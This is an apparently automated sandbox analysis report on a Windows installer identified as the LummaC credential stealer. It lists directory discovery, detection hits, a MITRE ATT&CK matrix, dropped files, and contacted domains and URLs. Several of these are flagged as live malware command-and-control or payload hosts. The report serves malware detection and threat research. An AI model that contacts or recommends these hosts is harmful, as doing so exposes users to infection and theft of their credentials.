Source: C:\Users\user\Desktop\setup.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB	Jump to behavior

Source: Yara match

File source: Process Memory Space: setup.exe PID: 7252, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: Process Memory Space: setup.exe PID: 7252, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	121 Windows Management Instrumentation	1 DLL Side-Loading	1 Abuse Elevation Control Mechanism	11 Deobfuscate/Decode Files or Information	1 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	1 DLL Side-Loading	1 Abuse Elevation Control Mechanism	LSASS Memory	11 File and Directory Discovery	Remote Desktop Protocol	31 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 PowerShell	Logon Script (Windows)	12 Process Injection	3 Obfuscated Files or Information	Security Account Manager	224 System Information Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 DLL Side-Loading	NTDS	1 Query Registry	Distributed Component Object Model	Input Capture	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Masquerading	LSA Secrets	521 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	221 Virtualization/Sandbox Evasion	Cached Domain Credentials	221 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	12 Process Injection	DCSync	4 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	HTML Smuggling	/etc/passwd and /etc/shadow	2 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
setup.exe	3%	ReversingLabs

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\F3638EZUZ711WUU8SDVPW34XAAMUZ.exe	39%	ReversingLabs	Win32.Spyware.Lummastealer
C:\Users\user\AppData\Local\Temp\is-87VLI.tmp\F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-DJ3IP.tmp\F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-EUFB2.tmp\_isetup\_isdecmp.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-EUFB2.tmp\_isetup\_setup64.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-MO41V.tmp\_isetup\_isdecmp.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-MO41V.tmp\_isetup\_setup64.tmp	0%	ReversingLabs
C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe (copy)	8%	ReversingLabs
C:\Users\user\AppData\Roaming\ColorStreamLib\is-T64JA.tmp	8%	ReversingLabs

Source	Detection	Scanner	Label
https://learningypr.click/api	100%	Avira URL Cloud	malware
https://learningypr.click/apb	100%	Avira URL Cloud	malware
learningypr.click	100%	Avira URL Cloud	malware
https://klipvumisui.shop:443/int_clp_sha.txt	100%	Avira URL Cloud	malware
http://michaeluno.jp/4	0%	Avira URL Cloud	safe
https://learningypr.click/apiS	100%	Avira URL Cloud	malware
http://www.toolwiz.com	0%	Avira URL Cloud	safe
http://www.autohotkey.comCould	0%	Avira URL Cloud	safe
https://learningypr.click/apic	100%	Avira URL Cloud	malware
https://learningypr.click/apij	100%	Avira URL Cloud	malware
https://learningypr.click/pp	100%	Avira URL Cloud	malware
https://klipvumisui.shop/	100%	Avira URL Cloud	malware
https://learningypr.click/pi	100%	Avira URL Cloud	malware
http://crl.usertru	0%	Avira URL Cloud	safe
https://learningypr.click/Q	100%	Avira URL Cloud	malware
https://learningypr.click:443/api	100%	Avira URL Cloud	malware
https://learningypr.click/apies=0F	100%	Avira URL Cloud	malware
http://crl.micro4f	0%	Avira URL Cloud	safe
https://learningypr.click/apiF	100%	Avira URL Cloud	malware
https://cegu.shop/8574262446/ph.txt3h	100%	Avira URL Cloud	malware
http://crl.microsoft.co	0%	Avira URL Cloud	safe
https://klipvumisui.shop/int_clp_sha.txt~	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
cegu.shop	185.161.251.21	true	false	high
learningypr.click	104.21.32.1	true	true	unknown
klipvumisui.shop	172.67.208.58	true	false	high
dfgh.online	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
scentniej.buzz	false		high
learningypr.click	true	Avira URL Cloud: malware	unknown
https://learningypr.click/api	true	Avira URL Cloud: malware	unknown
rebuildeso.buzz	false		high
appliacnesot.buzz	false		high
screwamusresz.buzz	false		high
cashfuzysao.buzz	false		high
inherineau.buzz	false		high
hummskitnj.buzz	false		high
https://klipvumisui.shop/int_clp_sha.txt	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	setup.exe, 00000000.00000003.1829151323.00000000036AA000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000000.00000003.1829405656.00000000036A8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://jrsoftware.org/ishelp/index.php?topic=setupcmdlineSetupU	setup.exe, 00000000.00000003.2009593627.0000000003BB2000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000000.00000003.2009507319.0000000003C61000.00000004.00000800.00020000.00000000.sdmp, F3638EZUZ711WUU8SDVPW34XAAMUZ.exe, 00000006.00000000.2071669913.0000000000F51000.00000020.00000001.01000000.00000008.sdmp, F3638EZUZ711WUU8SDVPW34XAAMUZ.exe.0.dr	false		high
https://certs.securetrust.com/CA0:	setup.exe, 00000000.00000002.2078744236.00000000008D9000.00000004.00000020.00020000.00000000.sdmp, F3638EZUZ711WUU8SDVPW34XAAMUZ.exe.0.dr	false		high
https://duckduckgo.com/ac/?q=	setup.exe, 00000000.00000003.1829151323.00000000036AA000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000000.00000003.1829405656.00000000036A8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://klipvumisui.shop:443/int_clp_sha.txt	setup.exe, 00000000.00000002.2088273574.000000000096D000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://crl.usertr	F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp, 00000007.00000003.2104859291.0000000002DA0000.00000004.00001000.00020000.00000000.sdmp	false		high
http://certs.securetrust.com/issuers/VCTWGTSCA_L1.crt0	setup.exe, 00000000.00000003.2073247216.00000000008E3000.00000004.00000020.00020000.00000000.sdmp, F3638EZUZ711WUU8SDVPW34XAAMUZ.exe.0.dr	false		high
http://crl.vikingcloud.com/TWGCA.crl0t	setup.exe, 00000000.00000003.2073247216.00000000008E3000.00000004.00000020.00020000.00000000.sdmp, F3638EZUZ711WUU8SDVPW34XAAMUZ.exe.0.dr	false		high
https://certs.securetrust.com/CA05	setup.exe, 00000000.00000003.2073247216.00000000008E3000.00000004.00000020.00020000.00000000.sdmp, F3638EZUZ711WUU8SDVPW34XAAMUZ.exe.0.dr	false		high
https://learningypr.click/apb	setup.exe, 00000000.00000003.1885564075.000000000095E000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://aka.ms/pscore6lB	powershell.exe, 00000004.00000002.2014602281.0000000005351000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.remobjects.com/ps	F3638EZUZ711WUU8SDVPW34XAAMUZ.exe, 00000006.00000003.2075890487.000000000336F000.00000004.00001000.00020000.00000000.sdmp, F3638EZUZ711WUU8SDVPW34XAAMUZ.exe, 00000006.00000003.2085146266.000000007F31B000.00000004.00001000.00020000.00000000.sdmp, F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp, 00000007.00000000.2092228828.00000000001D1000.00000020.00000001.01000000.00000009.sdmp, F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp, 00000009.00000000.2112064936.0000000000E7D000.00000020.00000001.01000000.0000000C.sdmp, F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp.8.dr	false		high
http://www.toolwiz.com	setup.exe	false	Avira URL Cloud: safe	unknown
https://nuget.org/nuget.exe	powershell.exe, 00000004.00000002.2022246655.00000000063B8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.innosetup.com/	F3638EZUZ711WUU8SDVPW34XAAMUZ.exe, 00000006.00000003.2075890487.000000000336F000.00000004.00001000.00020000.00000000.sdmp, F3638EZUZ711WUU8SDVPW34XAAMUZ.exe, 00000006.00000003.2085146266.000000007F31B000.00000004.00001000.00020000.00000000.sdmp, F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp, 00000007.00000000.2092228828.00000000001D1000.00000020.00000001.01000000.00000009.sdmp, F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp, 00000009.00000000.2112064936.0000000000E7D000.00000020.00000001.01000000.0000000C.sdmp, F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp.8.dr	false		high
https://certs.securetrust.com/CA0	setup.exe, 00000000.00000003.2073247216.00000000008E3000.00000004.00000020.00020000.00000000.sdmp, F3638EZUZ711WUU8SDVPW34XAAMUZ.exe.0.dr	false		high
http://www.autohotkey.comCould	BrightLib.exe, 00000025.00000002.2607198413.000000000049A000.00000002.00000001.01000000.0000000E.sdmp, BrightLib.exe, 00000025.00000000.2570070848.000000000049A000.00000002.00000001.01000000.0000000E.sdmp, is-T64JA.tmp.9.dr	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000004.00000002.2014602281.0000000005351000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.certum.pl/CPS0	F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp, 00000007.00000003.2104859291.0000000002DA0000.00000004.00001000.00020000.00000000.sdmp, F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp, 00000007.00000003.2097784921.0000000003D80000.00000004.00001000.00020000.00000000.sdmp, F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp, 00000009.00000003.2635140988.0000000002AF0000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.9.dr, _isdecmp.dll.7.dr	false		high
https://aka.ms/winsvr-2022-pshelp	powershell.exe, 00000004.00000002.2014602281.0000000005584000.00000004.00000800.00020000.00000000.sdmp	false		high
https://learningypr.click/apiS	setup.exe, 00000000.00000002.2078744236.00000000008B9000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://michaeluno.jp/4	BrightLib.exe, 00000025.00000002.2608169380.0000000003270000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000004.00000002.2014602281.00000000054A6000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/soap/encoding/	powershell.exe, 00000004.00000002.2014602281.0000000005584000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.certum.pl/ctnca.crl0k	F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp, 00000007.00000003.2104859291.0000000002DA0000.00000004.00001000.00020000.00000000.sdmp, F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp, 00000007.00000003.2097784921.0000000003D80000.00000004.00001000.00020000.00000000.sdmp, F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp, 00000009.00000003.2635140988.0000000002AF0000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.9.dr, _isdecmp.dll.7.dr	false		high
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000004.00000002.2014602281.00000000054A6000.00000004.00000800.00020000.00000000.sdmp	false		high
http://microsoft.co	setup.exe, 00000000.00000003.1828202359.000000000094A000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000003.2005263169.0000000000957000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000002.2087997454.0000000000957000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000003.1885564075.0000000000957000.00000004.00000020.00020000.00000000.sdmp	false		high
https://go.micro	powershell.exe, 00000004.00000002.2014602281.0000000005B91000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/Icon	powershell.exe, 00000004.00000002.2022246655.00000000063B8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	setup.exe, 00000000.00000003.1829151323.00000000036AA000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000000.00000003.1829405656.00000000036A8000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.rootca1.amazontrust.com/rootca1.crl0	setup.exe, 00000000.00000003.1854856966.0000000003699000.00000004.00000800.00020000.00000000.sdmp	false		high
https://learningypr.click/apic	setup.exe, 00000000.00000002.2078744236.00000000008B9000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://learningypr.click/apij	setup.exe, 00000000.00000003.1828202359.0000000000917000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://ocsp.rootca1.amazontrust.com0:	setup.exe, 00000000.00000003.1854856966.0000000003699000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.autohotkey.com	BrightLib.exe, 00000025.00000002.2607198413.000000000049A000.00000002.00000001.01000000.0000000E.sdmp, BrightLib.exe, 00000025.00000000.2570070848.000000000049A000.00000002.00000001.01000000.0000000E.sdmp, is-T64JA.tmp.9.dr	false		high
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	setup.exe, 00000000.00000003.1830105452.00000000036B6000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000000.00000003.1841442094.00000000036B6000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000000.00000003.1829977664.0000000003702000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000000.00000003.1841764761.00000000036B6000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	setup.exe, 00000000.00000003.1829151323.00000000036AA000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000000.00000003.1829405656.00000000036A8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	setup.exe, 00000000.00000003.1856973262.000000000378C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/Pester/Pester	powershell.exe, 00000004.00000002.2014602281.00000000054A6000.00000004.00000800.00020000.00000000.sdmp	false		high
https://learningypr.click/pi	setup.exe, 00000000.00000002.2078744236.00000000008B9000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://learningypr.click/pp	setup.exe, 00000000.00000003.1885564075.000000000095E000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://crl.usertru	F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp, 00000009.00000003.2635140988.0000000002AF0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://learningypr.click/Q	setup.exe, 00000000.00000003.1828202359.0000000000917000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://certs.securetrust.com/issuers/TWGCSCA_L1.crt0	setup.exe, 00000000.00000002.2078744236.00000000008D9000.00000004.00000020.00020000.00000000.sdmp, F3638EZUZ711WUU8SDVPW34XAAMUZ.exe.0.dr	false		high
https://klipvumisui.shop/	setup.exe, 00000000.00000002.2088273574.000000000096D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://learningypr.click:443/api	setup.exe, 00000000.00000003.1828202359.0000000000904000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000003.1948459100.000000000096D000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000002.2088273574.000000000096D000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://support.microsof	setup.exe, 00000000.00000003.1829977664.0000000003704000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/wsdl/	powershell.exe, 00000004.00000002.2014602281.0000000005584000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.vikingcloud.com/VCTWGTSCA_L1.crl0	setup.exe, 00000000.00000003.2073247216.00000000008E3000.00000004.00000020.00020000.00000000.sdmp, F3638EZUZ711WUU8SDVPW34XAAMUZ.exe.0.dr	false		high
http://www.info-zip.org/	BrightLib.exe, 00000025.00000002.2630344211.000000003A04C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://learningypr.click/apiF	setup.exe, 00000000.00000003.1841688890.0000000003666000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://learningypr.click/apies=0F	setup.exe, 00000000.00000003.1828202359.000000000094A000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://ocsp.securetrust.com/0?	setup.exe, 00000000.00000002.2078744236.00000000008D9000.00000004.00000020.00020000.00000000.sdmp, F3638EZUZ711WUU8SDVPW34XAAMUZ.exe.0.dr	false		high
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	setup.exe, 00000000.00000003.1830105452.0000000003691000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.micro4f	powershell.exe, 00000004.00000002.2025410025.0000000007ACD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://repository.certum.pl/cscasha2.cer0	F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp, 00000007.00000003.2104859291.0000000002DA0000.00000004.00001000.00020000.00000000.sdmp, F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp, 00000007.00000003.2097784921.0000000003D80000.00000004.00001000.00020000.00000000.sdmp, F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp, 00000009.00000003.2635140988.0000000002AF0000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.9.dr, _isdecmp.dll.7.dr	false		high
http://ocsp.sectigo.com0	F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp, 00000007.00000003.2104859291.0000000002DA0000.00000004.00001000.00020000.00000000.sdmp, F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp, 00000007.00000003.2097784921.0000000003D80000.00000004.00001000.00020000.00000000.sdmp, F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp, 00000009.00000003.2635140988.0000000002AF0000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.9.dr, _isdecmp.dll.7.dr	false		high
http://ocsp.vikingcloud.com/0A	setup.exe, 00000000.00000003.2073247216.00000000008E3000.00000004.00000020.00020000.00000000.sdmp, F3638EZUZ711WUU8SDVPW34XAAMUZ.exe.0.dr	false		high
http://certs.securetrust.com/issuers/TWGCA.crt0	setup.exe, 00000000.00000003.2073247216.00000000008E3000.00000004.00000020.00020000.00000000.sdmp, F3638EZUZ711WUU8SDVPW34XAAMUZ.exe.0.dr	false		high
http://ocsp.vikingcloud.com/0:	setup.exe, 00000000.00000003.2073247216.00000000008E3000.00000004.00000020.00020000.00000000.sdmp, F3638EZUZ711WUU8SDVPW34XAAMUZ.exe.0.dr	false		high
https://cegu.shop/8574262446/ph.txt3h	setup.exe, 00000000.00000003.2073247216.000000000090D000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000003.2005938451.0000000000909000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://contoso.com/License	powershell.exe, 00000004.00000002.2022246655.00000000063B8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://dfgh.online/invoker.php?compName=	powershell.exe, 00000004.00000002.2014602281.0000000005584000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	setup.exe, 00000000.00000003.1829151323.00000000036AA000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000000.00000003.1829405656.00000000036A8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	setup.exe, 00000000.00000003.1830105452.00000000036B6000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000000.00000003.1841442094.00000000036B6000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000000.00000003.1829977664.0000000003702000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000000.00000003.1841764761.00000000036B6000.00000004.00000800.00020000.00000000.sdmp	false		high
http://go.micros	powershell.exe, 00000004.00000002.2014602281.00000000057AD000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.microsoft.co	powershell.exe, 00000004.00000002.2028338121.0000000008C42000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://x1.c.lencr.org/0	setup.exe, 00000000.00000003.1854856966.0000000003699000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	setup.exe, 00000000.00000003.1854856966.0000000003699000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crt.sectigo.com/Sectig	F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp, 00000007.00000003.2104859291.0000000002DA0000.00000004.00001000.00020000.00000000.sdmp, F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp, 00000009.00000003.2635140988.0000000002AF0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install	setup.exe, 00000000.00000003.1830105452.0000000003691000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	setup.exe, 00000000.00000003.1829151323.00000000036AA000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000000.00000003.1829405656.00000000036A8000.00000004.00000800.00020000.00000000.sdmp	false		high
http://subca.ocsp-certum.com01	F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp, 00000007.00000003.2104859291.0000000002DA0000.00000004.00001000.00020000.00000000.sdmp, F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp, 00000007.00000003.2097784921.0000000003D80000.00000004.00001000.00020000.00000000.sdmp, F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp, 00000009.00000003.2635140988.0000000002AF0000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.9.dr, _isdecmp.dll.7.dr	false		high
https://contoso.com/	powershell.exe, 00000004.00000002.2022246655.00000000063B8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://sectigo.com/CPS0D	F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp, 00000007.00000003.2104859291.0000000002DA0000.00000004.00001000.00020000.00000000.sdmp, F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp, 00000007.00000003.2097784921.0000000003D80000.00000004.00001000.00020000.00000000.sdmp, F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp, 00000009.00000003.2635140988.0000000002AF0000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.9.dr, _isdecmp.dll.7.dr	false		high
https://dfgh.online	powershell.exe, 00000004.00000002.2014602281.00000000054A6000.00000004.00000800.00020000.00000000.sdmp	false		high
https://jrsoftware.org0	F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp, 00000007.00000003.2104859291.0000000002DA0000.00000004.00001000.00020000.00000000.sdmp, F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp, 00000007.00000003.2097784921.0000000003D80000.00000004.00001000.00020000.00000000.sdmp, F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp, 00000009.00000003.2635140988.0000000002AF0000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.9.dr, _isdecmp.dll.7.dr	false		high
https://jrsoftware.org/	F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp, 00000007.00000003.2104859291.0000000002DA0000.00000004.00001000.00020000.00000000.sdmp, F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp, 00000007.00000003.2097784921.0000000003D80000.00000004.00001000.00020000.00000000.sdmp, F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp, 00000009.00000003.2635140988.0000000002AF0000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.9.dr, _isdecmp.dll.7.dr	false		high
https://support.mozilla.org/products/firefoxgro.all	setup.exe, 00000000.00000003.1856973262.000000000378C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://klipvumisui.shop/int_clp_sha.txt~	setup.exe, 00000000.00000003.2005263169.0000000000957000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000002.2087997454.0000000000957000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://crl.trustwave.com/TWGCA.crl0n	setup.exe, 00000000.00000002.2078744236.00000000008D9000.00000004.00000020.00020000.00000000.sdmp, F3638EZUZ711WUU8SDVPW34XAAMUZ.exe.0.dr	false		high
http://nuget.org/NuGet.exe	powershell.exe, 00000004.00000002.2022246655.00000000063B8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://sectigo.com/CPS0	F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp, 00000007.00000003.2104859291.0000000002DA0000.00000004.00001000.00020000.00000000.sdmp, F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp, 00000009.00000003.2635140988.0000000002AF0000.00000004.00001000.00020000.00000000.sdmp	false		high
